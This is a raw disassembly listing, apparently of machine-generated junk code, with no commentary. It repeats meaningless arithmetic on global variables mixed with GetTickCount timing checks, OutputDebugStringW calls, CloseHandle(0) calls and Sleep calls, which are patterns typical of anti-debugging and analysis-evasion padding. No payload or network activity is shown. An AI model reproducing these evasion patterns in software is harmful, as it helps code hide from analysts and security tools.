call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x14
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x2ae
jne 0x542586
mov dword [0x005ac688], 0x56
mov ecx, 0x2b
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x5d
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x55
mov ecx, 0x1c
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], eax
mov ecx, 2
call fcn.004098a0
mov ecx, dword [0x005ac68c]
imul ecx, eax
mov dword [0x005ac68c], ecx
mov ecx, 3
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 3
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
cmp eax, 0xf2
jne 0x54263d
mov ecx, 0x55
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x2e
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x13
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x52
mov ecx, 0x31
call fcn.004098a0
sub dword [0x005ac68c], eax
mov ecx, 0x42
call fcn.004098a0
sub dword [0x005ac688], eax
mov eax, dword [0x005ac694]
test eax, eax
jns 0x542610
add eax, 3
sar eax, 2
mov dword [0x005ac694], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
add dword [0x005ac694], 0x36
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x59
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x3c3
jne 0x542728
mov dword [0x005ac688], 3
mov dword [0x005ac68c], 0x58
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0xf
mov ecx, 0x5a
call fcn.004098a0
mov dword [0x005ac698], eax
add dword [0x005ac68c], 0x15
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x32
call fcn.004098a0
mov ecx, dword [0x005ac690]
imul ecx, eax
mov dword [0x005ac690], ecx
mov ecx, 0x59
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x1a
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 0x3d
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
mov ecx, 0x46
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
call sub.kernel32.dll_GetTickCount
cmp eax, 0x3c5
jne 0x5427ea
mov ecx, 0x37
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x2c
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x18
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x15
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x2c
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
mov ecx, 0x1c
call fcn.004098a0
sub dword [0x005ac694], eax
mov ecx, 0x1f
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
sub dword [0x005ac690], 0x57
sub dword [0x005ac698], 0x46
add dword [0x005ac688], 0x16
call sub.kernel32.dll_GetTickCount
call sub.kernel32.dll_GetTickCount
cmp eax, 0x151
jne 0x54289f
mov ecx, 0x5a
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x4a
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x24
mov ecx, 0x14
call fcn.004098a0
mov dword [0x005ac698], eax
sub dword [0x005ac690], 6
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x33
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x52
call fcn.004098a0
mov ecx, dword [0x005ac68c]
imul ecx, eax
mov dword [0x005ac68c], ecx
mov ecx, 0xf
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x17e
jne 0x54294c
mov ecx, 0x50
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x10
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x35
mov dword [0x005ac698], 0xc
add dword [0x005ac694], 0x1f
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
sub dword [0x005ac698], 0x11
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
add dword [0x005ac698], 0x14
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x63
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
call sub.kernel32.dll_GetTickCount
cmp eax, 0x1ef
jne 0x5429e8
mov ecx, 0x2f
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x1e
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 1
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x29
mov ecx, 0x2f
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
add dword [0x005ac690], 0x3c
sub dword [0x005ac690], 0x57
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x52
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x23f
jne 0x542ad0
mov dword [0x005ac688], 0x48
mov ecx, 0x4d
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x2d
mov dword [0x005ac698], 0xb
mov ecx, 0x35
call fcn.004098a0
sub dword [0x005ac694], eax
xor ecx, ecx
call sub.kernel32.dll_Sleep
mov ecx, 0x2a
call fcn.004098a0
mov ecx, dword [0x005ac688]
imul ecx, eax
mov dword [0x005ac688], ecx
mov ecx, 0x22
call fcn.004098a0
sub dword [0x005ac68c], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x16
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x5e
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
mov ecx, 0x57
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], eax
mov ecx, 0x52
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x304
jne 0x542bb3
mov dword [0x005ac688], 0x19
mov ecx, 0x15
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 7
mov dword [0x005ac698], 0x31
mov ecx, 0x14
call fcn.004098a0
mov ecx, dword [0x005ac688]
imul ecx, eax
mov dword [0x005ac688], ecx
mov ecx, 0x44
call fcn.004098a0
add dword [0x005ac688], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x4c
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x43
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
mov ecx, 0x52
call fcn.004098a0
add dword [0x005ac68c], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov eax, dword [0x005ac698]
imul eax, eax, 0x1c
mov dword [0x005ac698], eax
mov ecx, 2
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
cmp eax, 0x13b
jne 0x542c7c
mov dword [0x005ac688], 0x5e
mov dword [0x005ac68c], 0x25
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x2c
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x3a
call fcn.004098a0
mov dword [0x005ac698], eax
mov eax, dword [0x005ac68c]
test eax, eax
jns 0x542c17
add eax, 0x1f
sar eax, 5
mov dword [0x005ac68c], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x4b
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
mov ecx, 0x2f
call fcn.004098a0
mov ecx, dword [0x005ac68c]
imul ecx, eax
mov dword [0x005ac68c], ecx
mov ecx, 1
call sub.kernel32.dll_Sleep
mov ecx, 0x3a
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
call sub.kernel32.dll_GetTickCount
call sub.kernel32.dll_GetTickCount
test eax, eax
jne 0x542d57
mov ecx, 0x25
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x4b
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x1d
mov ecx, 0x18
call fcn.004098a0
mov dword [0x005ac698], eax
mov eax, dword [0x005ac690]
add eax, eax
lea rax, [rax + rax*2]
mov dword [0x005ac690], eax
add dword [0x005ac690], 0x52
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x1a
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x1d
call fcn.004098a0
sub dword [0x005ac688], eax
mov ecx, 0x22
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x22
call fcn.004098a0
add dword [0x005ac688], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x271
jne 0x542e00
mov ecx, 0xd
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x59
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x10
mov ecx, 0x2a
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x39
call fcn.004098a0
mov ecx, dword [0x005ac698]
imul ecx, eax
mov dword [0x005ac698], ecx
mov ecx, 0x35
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 2
call sub.kernel32.dll_Sleep
mov ecx, 0x35
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
call sub.kernel32.dll_GetTickCount
cmp eax, 0xda
jne 0x542eb6
mov dword [0x005ac688], 0x26
mov ecx, 0x41
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x23
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x3b
mov ecx, 0x29
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
mov ecx, 3
call fcn.004098a0
add dword [0x005ac698], eax
call sub.kernel32.dll_GetTickCount
mov eax, dword [0x005ac688]
imul eax, eax, 0x2f
mov dword [0x005ac688], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x47
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
call sub.kernel32.dll_GetTickCount
cmp eax, 0x235
jne 0x542f68
mov ecx, 0x25
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x10
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x52
mov dword [0x005ac698], 0x3d
mov ecx, 0x22
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
call sub.kernel32.dll_GetTickCount
mov ecx, 0x1f
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
mov ecx, 3
call sub.kernel32.dll_Sleep
mov ecx, 0x49
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
call sub.kernel32.dll_GetTickCount
mov ecx, 0x3c
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x255
jne 0x543017
mov dword [0x005ac688], 1
mov dword [0x005ac68c], 0x4b
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x46
mov ecx, 0x34
call fcn.004098a0
mov dword [0x005ac698], eax
add dword [0x005ac698], 0x45
sub dword [0x005ac690], 0x4d
call sub.kernel32.dll_GetTickCount
mov ecx, 0x13
call fcn.004098a0
add dword [0x005ac688], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x54
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
mov ecx, 3
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
call sub.kernel32.dll_GetTickCount
cmp eax, 0x1b1
jne 0x5430ec
mov dword [0x005ac688], 0x33
mov dword [0x005ac68c], 0x5b
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x33
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x2c
call fcn.004098a0
mov dword [0x005ac698], eax
mov eax, dword [0x005ac688]
imul eax, eax, 0x4d
mov dword [0x005ac688], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x4c
call fcn.004098a0
add dword [0x005ac68c], eax
mov ecx, 0x34
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
mov ecx, 0x19
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
mov ecx, 4
call sub.kernel32.dll_Sleep
mov ecx, 0x1f
call fcn.004098a0
sub dword [0x005ac690], eax
mov ecx, 0x2d
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x296
jne 0x5431d6
mov ecx, 0x35
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0xc
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x63
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x36
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x36
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
xor ecx, ecx
call sub.kernel32.dll_Sleep
mov ecx, 0x5d
call fcn.004098a0
mov ecx, dword [0x005ac698]
imul ecx, eax
mov dword [0x005ac698], ecx
mov eax, dword [0x005ac690]
test eax, eax
jns 0x543190
add eax, 3
sar eax, 2
mov dword [0x005ac690], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x58
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], eax
mov ecx, 0x13
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
call sub.kernel32.dll_GetTickCount
cmp eax, 0x15d
jne 0x54326c
mov ecx, 0x44
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x43
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x33
mov ecx, 0x13
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x19
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x5c
call fcn.004098a0
sub dword [0x005ac698], eax
sub dword [0x005ac688], 0x46
xor ecx, ecx
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
cmp eax, 0x148
jne 0x543348
mov ecx, 0x13
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x28
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 7
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x4d
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x1a
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
add dword [0x005ac694], 0xb
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov eax, dword [0x005ac688]
shl eax, 6
mov dword [0x005ac688], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x4b
call fcn.004098a0
sub dword [0x005ac698], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x26
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x58
jne 0x5433d8
mov dword [0x005ac688], 0x1f
mov ecx, 0x4a
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 6
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x16
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x26
call fcn.004098a0
sub dword [0x005ac68c], eax
mov ecx, 0x58
call fcn.004098a0
sub dword [0x005ac68c], eax
mov eax, dword [0x005ac698]
shl eax, 6
mov dword [0x005ac698], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
call sub.kernel32.dll_GetTickCount
cmp eax, 0x7b
jne 0x5434c4
mov dword [0x005ac688], 0x54
mov ecx, 0xd
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x21
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0xc
mov ecx, 0x3f
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
add dword [0x005ac690], 0x33
mov ecx, 1
call sub.kernel32.dll_Sleep
mov ecx, 0x27
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x55
call fcn.004098a0
add dword [0x005ac688], eax
mov ecx, 0x46
call fcn.004098a0
sub dword [0x005ac690], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x4e
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
call sub.kernel32.dll_GetTickCount
cmp eax, 0x9d
jne 0x543570
mov ecx, 9
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x4f
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x4d
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x30
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x1e
call fcn.004098a0
mov ecx, dword [0x005ac698]
imul ecx, eax
mov dword [0x005ac698], ecx
call sub.kernel32.dll_GetTickCount
mov ecx, 0x28
call fcn.004098a0
sub dword [0x005ac688], eax
mov ecx, 0x48
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x36
jne 0x543624
mov dword [0x005ac688], 0xe
mov dword [0x005ac68c], 0x5b
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x26
mov ecx, 0x4f
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x38
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
mov ecx, 0x45
call fcn.004098a0
sub dword [0x005ac694], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x2e
call fcn.004098a0
add dword [0x005ac68c], eax
mov ecx, 0x43
call fcn.004098a0
mov ecx, dword [0x005ac688]
imul ecx, eax
mov dword [0x005ac688], ecx
mov ecx, 3
call sub.kernel32.dll_Sleep
mov ecx, 5
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x17a
jne 0x5436de
mov ecx, 0x43
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x26
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x24
mov dword [0x005ac698], 1
mov ecx, 0x11
call fcn.004098a0
sub dword [0x005ac688], eax
mov ecx, 0x13
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
call sub.kernel32.dll_GetTickCount
mov ecx, 0x16
call fcn.004098a0
mov ecx, dword [0x005ac68c]
imul ecx, eax
mov dword [0x005ac68c], ecx
mov eax, dword [0x005ac68c]
add eax, eax
add eax, eax
add eax, eax
lea rax, [rax + rax*4]
mov dword [0x005ac68c], eax
mov ecx, 0x60
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x3a9
jne 0x54379e
mov dword [0x005ac688], 0x3d
mov ecx, 0x55
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x4b
mov ecx, 0xd
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x32
call fcn.004098a0
mov ecx, dword [0x005ac68c]
imul ecx, eax
mov dword [0x005ac68c], ecx
mov ecx, 0x31
call fcn.004098a0
sub dword [0x005ac688], eax
mov ecx, 0x3a
call fcn.004098a0
mov ecx, dword [0x005ac688]
imul ecx, eax
mov dword [0x005ac688], ecx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x1e
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
call sub.kernel32.dll_GetTickCount
cmp eax, 2
jne 0x543873
mov ecx, 0x53
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x60
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x2f
mov ecx, 0x22
call fcn.004098a0
mov dword [0x005ac698], eax
add dword [0x005ac688], 0x25
sub dword [0x005ac690], 0x39
call sub.kernel32.dll_GetTickCount
mov eax, dword [0x005ac68c]
imul eax, eax, 0x44
mov dword [0x005ac68c], eax
mov ecx, 0x2c
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x44
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
mov ecx, 0x36
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x63
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x357
jne 0x543931
mov dword [0x005ac688], 0x4f
mov dword [0x005ac68c], 8
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x30
mov dword [0x005ac698], 0x31
mov eax, dword [0x005ac690]
shl eax, 4
lea rax, [rax + rax*4]
mov dword [0x005ac690], eax
mov ecx, 0x5f
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
mov ecx, 0x54
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x57
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x36
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x1f
jne 0x5439ce
mov dword [0x005ac688], 0x17
mov dword [0x005ac68c], 0x36
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x3c
mov dword [0x005ac698], 0x53
mov ecx, 0x2e
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
mov ecx, 4
call sub.kernel32.dll_Sleep
mov ecx, 0xf
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
mov eax, dword [0x005ac694]
imul eax, eax, 0x33
mov dword [0x005ac694], eax
mov ecx, 0x43
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x28c
jne 0x543ac7
mov dword [0x005ac688], 4
mov ecx, 0xf
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x5a
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x3c
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x47
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x4e
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
mov ecx, 0x4a
call fcn.004098a0
mov ecx, dword [0x005ac690]
imul ecx, eax
mov dword [0x005ac690], ecx
call sub.kernel32.dll_GetTickCount
mov ecx, 0x50
call fcn.004098a0
mov ecx, dword [0x005ac688]
imul ecx, eax
mov dword [0x005ac688], ecx
call sub.kernel32.dll_GetTickCount
mov ecx, 0x19
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
mov ecx, 3
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
cmp eax, 0x378
jne 0x543baf
mov dword [0x005ac688], 0x14
mov dword [0x005ac68c], 0x44
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x2f
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x59
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x21
call fcn.004098a0
mov ecx, dword [0x005ac690]
imul ecx, eax
mov dword [0x005ac690], ecx
mov ecx, 0x4e
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], eax
mov ecx, 0x32
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
call sub.kernel32.dll_GetTickCount
mov ecx, 0x5b
call fcn.004098a0
mov ecx, dword [0x005ac698]
imul ecx, eax
mov dword [0x005ac698], ecx
mov eax, dword [0x005ac688]
imul eax, eax, 0x62
mov dword [0x005ac688], eax
mov ecx, 0x11
call fcn.004098a0
sub dword [0x005ac68c], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
call sub.kernel32.dll_GetTickCount
cmp eax, 0x138
jne 0x543c6a
mov dword [0x005ac688], 0x1e
mov ecx, 0x59
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x5b
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0xe
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x49
call fcn.004098a0
sub dword [0x005ac688], eax
add dword [0x005ac68c], 0x52
call sub.kernel32.dll_GetTickCount
